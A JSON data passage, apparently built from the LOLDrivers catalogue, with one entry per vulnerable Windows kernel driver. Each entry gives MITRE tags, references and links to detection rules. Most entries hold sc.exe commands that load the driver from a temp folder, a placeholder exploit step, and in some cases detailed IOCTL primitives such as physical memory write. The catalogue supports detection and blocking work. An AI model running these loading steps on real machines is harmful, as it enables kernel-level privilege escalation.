    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AMDRyzenMasterDriver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AMDRyzenMasterDriver.sys type=kernel && sc.exe start AMDRyzenMasterDriver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AMDRyzenMasterDriver.sys\"\n\n# AMDRyzenMasterDriver.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-amdryzenmasterdriver.md",
    "author": "Michael Haag, Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AMDRyzenMasterDriver.sys binPath=C:\\windows\\temp\\AMDRyzenMasterDriver.sys type=kernel && sc.exe start AMDRyzenMasterDriver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-amdryzenmasterdriver",
    "install": [
      {
        "method": "custom",
        "description": "Load AMDRyzenMasterDriver.sys kernel driver",
        "commands": [
          "sc.exe create AMDRyzenMasterDriver.sys binPath=C:\\windows\\temp\\AMDRyzenMasterDriver.sys type=kernel && sc.exe start AMDRyzenMasterDriver.sys"
        ]
      }
    ],
    "name": "AMDRyzenMasterDriver.sys",
    "namespace": "windows:kernel:amdryzenmasterdriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=AMDRyzenMasterDriver"
      },
      {
        "label": "Reference",
        "url": "https://github.com/NtGabrielGomes/CVE-2023-20564"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create amifldrv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\amifldrv64.sys type=kernel && sc.exe start amifldrv64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver amifldrv64.sys\"\n\n# amifldrv64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-amifldrv64.md",
    "author": "Michael Haag, Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/38d87b51f4b69ba2dae1477684a1415f1a3b578eee5e1126673b1beaefee9a20.yara"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ffc72f0bde21ba20aa97bee99d9e96870e5aa40cce9884e44c612757f939494f.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create amifldrv64.sys binPath=C:\\windows\\temp\\amifldrv64.sys type=kernel && sc.exe start amifldrv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-amifldrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load amifldrv64.sys kernel driver",
        "commands": [
          "sc.exe create amifldrv64.sys binPath=C:\\windows\\temp\\amifldrv64.sys type=kernel && sc.exe start amifldrv64.sys"
        ]
      }
    ],
    "name": "amifldrv64.sys",
    "namespace": "windows:kernel:amifldrv64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create amigendrv64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\amigendrv64.sys type=kernel && sc.exe start amigendrv64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver amigendrv64.sys\"\n\n# amigendrv64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-amigendrv64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create amigendrv64.sys binPath=C:\\windows\\temp\\amigendrv64.sys type=kernel && sc.exe start amigendrv64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-amigendrv64",
    "install": [
      {
        "method": "custom",
        "description": "Load amigendrv64.sys kernel driver",
        "commands": [
          "sc.exe create amigendrv64.sys binPath=C:\\windows\\temp\\amigendrv64.sys type=kernel && sc.exe start amigendrv64.sys"
        ]
      }
    ],
    "name": "amigendrv64.sys",
    "namespace": "windows:kernel:amigendrv64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create amp.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\amp.sys type=kernel && sc.exe start amp.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver amp.sys\"\n\n# amp.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-amp.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/cbb8239a765bf5b2c1b6a5c8832d2cab8fef5deacadfb65d8ed43ef56d291ab6.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create amp.sys binPath=C:\\windows\\temp\\amp.sys type=kernel && sc.exe start amp.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-amp",
    "install": [
      {
        "method": "custom",
        "description": "Load amp.sys kernel driver",
        "commands": [
          "sc.exe create amp.sys binPath=C:\\windows\\temp\\amp.sys type=kernel && sc.exe start amp.sys"
        ]
      }
    ],
    "name": "amp.sys",
    "namespace": "windows:kernel:amp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/k4nfr3/af970e7facb09195e56f2112e1c9549c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ampa binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ampa.sys type=kernel && sc.exe start ampa\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ampa.sys\"\n\n# ampa.sys\n\nNorthwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ampa.md",
    "author": "Northwave Cyber Security",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Northwave Cyber Security contributed this driver based on in-house research. The driver has a CVSSv3 score of 8.8, indicating a privilege escalation impact. This vulnerability could potentially be exploited for privilege escalation or other malicious activities.",
    "execution": {
      "template": "sc.exe create ampa binPath=C:\\windows\\temp\\ampa.sys type=kernel && sc.exe start ampa",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-ampa",
    "install": [
      {
        "method": "custom",
        "description": "Load ampa.sys kernel driver",
        "commands": [
          "sc.exe create ampa binPath=C:\\windows\\temp\\ampa.sys type=kernel && sc.exe start ampa"
        ]
      }
    ],
    "name": "ampa.sys",
    "namespace": "windows:kernel:ampa",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create amsdk binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\amsdk.sys type=kernel && sc.exe start amsdk\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver amsdk.sys\"\n\n# amsdk.sys\n\nVulnerable WatchDog Antimalware driver used by Silver Fox APT group to load unsigned drivers and execute malicious code in kernel mode\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-amsdk.md",
    "author": "The Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Vulnerable WatchDog Antimalware driver used by Silver Fox APT group to load unsigned drivers and execute malicious code in kernel mode",
    "execution": {
      "template": "sc.exe create amsdk binPath=C:\\windows\\temp\\amsdk.sys type=kernel && sc.exe start amsdk",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "process-manip",
      "requires-root",
      "streaming"
    ],
    "id": "windows-kernel-amsdk",
    "install": [
      {
        "method": "custom",
        "description": "Load amsdk.sys kernel driver",
        "commands": [
          "sc.exe create amsdk binPath=C:\\windows\\temp\\amsdk.sys type=kernel && sc.exe start amsdk"
        ]
      }
    ],
    "name": "amsdk.sys",
    "namespace": "windows:kernel:amsdk",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AODDriversys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AODDriversys.sys type=kernel && sc.exe start AODDriversys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AODDriver.sys\"\n\n# AODDriver.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-aoddriver.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AODDriversys binPath= C:\\windows\\temp\\AODDriversys.sys type=kernel && sc.exe start AODDriversys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-aoddriver",
    "install": [
      {
        "method": "custom",
        "description": "Load AODDriver.sys kernel driver",
        "commands": [
          "sc.exe create AODDriversys binPath= C:\\windows\\temp\\AODDriversys.sys type=kernel && sc.exe start AODDriversys"
        ]
      }
    ],
    "name": "AODDriver.sys",
    "namespace": "windows:kernel:aoddriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AppShopDrv103 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AppShopDrv103.sys type=kernel && sc.exe start AppShopDrv103\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AppShopDrv103.sys\"\n\n# AppShopDrv103.sys\n\nAppShopDrv103.sys is a hardware utility driver from ASRock distributed with APP Shop and Auto Driver Installer. The driver exposes 30+ IOCTLs through a BCrypt AES-encrypted command wrapper (IOCTL 0x22EC00) with a hardcoded key, providing arbitrary physical memory read and write via MmMapIoSpace (IOCTLs 0x22E808/0x22E80C), unrestricted I/O port read and write in byte, word, and dword widths (IOCTLs 0x22E810-0x22E824), full PCI configuration space read and write via port 0xCF8/0xCFC (IOCTLs 0x22E830-0x22E844), MSR read and write via rdmsr/wrmsr (IOCTLs 0x22E848/0x22E84C), control register reads for CR0/CR2/CR3/CR4/CR8 (IOCTL 0x22E86C), RDTSC and RDPMC performance counter access, CPUID execution, and contiguous memory allocation. Same vulnerability class as other ASRock drivers (AsrDrv.sys) already tracked in LOLDrivers. Used by KDU (Kernel Driver Utility) as a provider.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-appshopdrv103.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "AppShopDrv103.sys is a hardware utility driver from ASRock distributed with APP Shop and Auto Driver Installer. The driver exposes 30+ IOCTLs through a BCrypt AES-encrypted command wrapper (IOCTL 0x22EC00) with a hardcoded key, providing arbitrary physical memory read and write via MmMapIoSpace (IOCTLs 0x22E808/0x22E80C), unrestricted I/O port read and write in byte, word, and dword widths (IOCTLs 0x22E810-0x22E824), full PCI configuration space read and write via port 0xCF8/0xCFC (IOCTLs 0x2...",
    "execution": {
      "template": "sc.exe create AppShopDrv103 binPath=C:\\windows\\temp\\AppShopDrv103.sys type=kernel && sc.exe start AppShopDrv103",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-appshopdrv103",
    "install": [
      {
        "method": "custom",
        "description": "Load AppShopDrv103.sys kernel driver",
        "commands": [
          "sc.exe create AppShopDrv103 binPath=C:\\windows\\temp\\AppShopDrv103.sys type=kernel && sc.exe start AppShopDrv103"
        ]
      }
    ],
    "name": "AppShopDrv103.sys",
    "namespace": "windows:kernel:appshopdrv103",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/222"
      },
      {
        "label": "Reference",
        "url": "https://github.com/hfiref0x/KDU"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AppVkgr binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AppVkgr.sys type=kernel && sc.exe start AppVkgr\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AppVkgr.sys\"\n\n# AppVkgr.sys\n\nAppVkgr.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-appvkgr.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "AppVkgr.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create AppVkgr binPath=C:\\windows\\temp\\AppVkgr.sys type=kernel && sc.exe start AppVkgr",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-appvkgr",
    "install": [
      {
        "method": "custom",
        "description": "Load AppVkgr.sys kernel driver",
        "commands": [
          "sc.exe create AppVkgr binPath=C:\\windows\\temp\\AppVkgr.sys type=kernel && sc.exe start AppVkgr"
        ]
      }
    ],
    "name": "AppVkgr.sys",
    "namespace": "windows:kernel:appvkgr",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ArgusMonitor binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ArgusMonitor.sys type=kernel && sc.exe start ArgusMonitor\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ArgusMonitor.sys\"\n\n# ArgusMonitor.sys\n\nArgusMonitor.sys is the kernel driver for the Argus Monitor hardware temperature monitoring and fan control application by Argotronic UG (Germany). The driver exposes 47 IOCTLs providing arbitrary physical memory read/write via MmMapIoSpace (32 map slots, up to 128KB) with a single-shot read primitive that bypasses the address restriction (busNum=0xFF), unrestricted port I/O (any port 0x0000-0xFFFF), PCI configuration space read/write via HalGetBusDataByOffset and HalSetBusDataByOffset, MSR read/write with a whitelist that blocks IA32_LSTAR but allows IA32_MISC_ENABLE write (can disable NX/XD system-wide), and I2C/SMBus access via MMIO bit-banging. The driver uses IoCreateDevice with no DACL and IRP_MJ_CREATE returns STATUS_SUCCESS immediately with no caller validation. A handshake IOCTL accepts a user-chosen 0x200-byte XOR keypad (sending all zeros effectively disables the XOR layer). WHQL attestation signed with an active Microsoft certificate. KASLR bypass confirmed via physical memory PE header scan. Loads on any x64 Windows without ArgusMonitor software.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-argusmonitor.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ArgusMonitor.sys is the kernel driver for the Argus Monitor hardware temperature monitoring and fan control application by Argotronic UG (Germany). The driver exposes 47 IOCTLs providing arbitrary physical memory read/write via MmMapIoSpace (32 map slots, up to 128KB) with a single-shot read primitive that bypasses the address restriction (busNum=0xFF), unrestricted port I/O (any port 0x0000-0xFFFF), PCI configuration space read/write via HalGetBusDataByOffset and HalSetBusDataByOffset, MSR r...",
    "execution": {
      "template": "sc.exe create ArgusMonitor binPath=C:\\windows\\temp\\ArgusMonitor.sys type=kernel && sc.exe start ArgusMonitor",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root",
      "stealth",
      "streaming"
    ],
    "id": "windows-kernel-argusmonitor",
    "install": [
      {
        "method": "custom",
        "description": "Load ArgusMonitor.sys kernel driver",
        "commands": [
          "sc.exe create ArgusMonitor binPath=C:\\windows\\temp\\ArgusMonitor.sys type=kernel && sc.exe start ArgusMonitor"
        ]
      }
    ],
    "name": "ArgusMonitor.sys",
    "namespace": "windows:kernel:argusmonitor",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/297"
      },
      {
        "label": "Reference",
        "url": "https://www.argusmonitor.com/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create asas.sys binPath=C:\\\\windows\\\\temp\\\\asas.sys type=kernel && sc.exe start asas.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver asas.sys\"\n\n# asas.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asas.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-asas",
    "name": "asas.sys",
    "namespace": "windows:kernel:asas",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create asio.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\asio.sys type=kernel && sc.exe start asio.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver asio.sys\"\n\n# asio.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asio.md",
    "author": "Nasreddine Bencherchali, Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "execution": {
      "template": "sc.exe create asio.sys binPath=C:\\windows\\temp\\asio.sys type=kernel && sc.exe start asio.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-asio",
    "install": [
      {
        "method": "custom",
        "description": "Load asio.sys kernel driver",
        "commands": [
          "sc.exe create asio.sys binPath=C:\\windows\\temp\\asio.sys type=kernel && sc.exe start asio.sys"
        ]
      }
    ],
    "name": "asio.sys",
    "namespace": "windows:kernel:asio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/295"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ASIO32.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ASIO32.sys type=kernel && sc.exe start ASIO32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ASIO32.sys\"\n\n# ASIO32.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asio32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create ASIO32.sys binPath=C:\\windows\\temp\\ASIO32.sys type=kernel && sc.exe start ASIO32.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asio32",
    "install": [
      {
        "method": "custom",
        "description": "Load ASIO32.sys kernel driver",
        "commands": [
          "sc.exe create ASIO32.sys binPath=C:\\windows\\temp\\ASIO32.sys type=kernel && sc.exe start ASIO32.sys"
        ]
      }
    ],
    "name": "ASIO32.sys",
    "namespace": "windows:kernel:asio32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsmIo64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsmIo64.sys type=kernel && sc.exe start AsmIo64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsmIo64.sys\"\n\n# AsmIo64.sys\n\n**Use Case:** Elevate privileges, firmware erasing/modification\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1542, T1068\n",
    "_source": "windows-kernel-asmio64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges, firmware erasing/modification",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
